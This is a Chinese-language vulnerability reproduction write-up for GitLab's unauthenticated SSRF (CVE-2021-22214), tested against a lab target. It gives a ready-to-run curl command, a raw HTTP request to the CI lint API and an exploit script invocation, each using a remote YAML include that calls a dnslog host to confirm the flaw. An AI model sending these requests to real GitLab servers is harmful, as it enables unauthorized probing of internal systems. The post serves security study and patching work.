gitlab SSRF(CVE-2021-22214)


所有文章,仅供安全研究与学习之用,后果自负!

gitlab SSRF(CVE-2021-22214)

0x01 漏洞描述

GitLab存在前台未授权SSRF漏洞。该漏洞源于对用户提供数据的验证不足,远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。

0x02 影响范围

13.10.5 > GitLab >= 10.5
13.11.5 > GitLab >= 13.11
13.12.2 > GitLab >= 13.12

0x03 漏洞复现

(1)访问靶场
http://vulfocus.fofa.so:27138/
在这里插入图片描述

curl检测

curl -k -s --show-error -H 'Content-Type: application/json' http://攻击ip:端口/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content":"include:\n remote: http://dnslog地址/api/v1/targets/?test.yml"}'

在这里插入图片描述

ssrf执行成功在这里插入图片描述

bp 数据包检测

POST /api/v4/ci/lint HTTP/1.1
Host: 192.168.8.230:36586
User-Agent: python-requests/2.25.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 111

{"include_merged_yaml": true, "content": "include:\n  remote: http://4ggwkl.dnslog.cn/api/v1/targets?test.yml"}

在这里插入图片描述

脚本检测

(3)使用脚本 复现漏洞

https://github.com/r0ckysec/CVE-2021-22214

尝试访问dnslog

python gitlab_ssrf.py http://vulfocus.fofa.so:27138/ dnslog地址

在这里插入图片描述
有访问记录 说明存在漏洞
在这里插入图片描述

0x04 漏洞修复

升级至最新版本

猜你喜欢

转载自blog.csdn.net/YouthBelief/article/details/121269595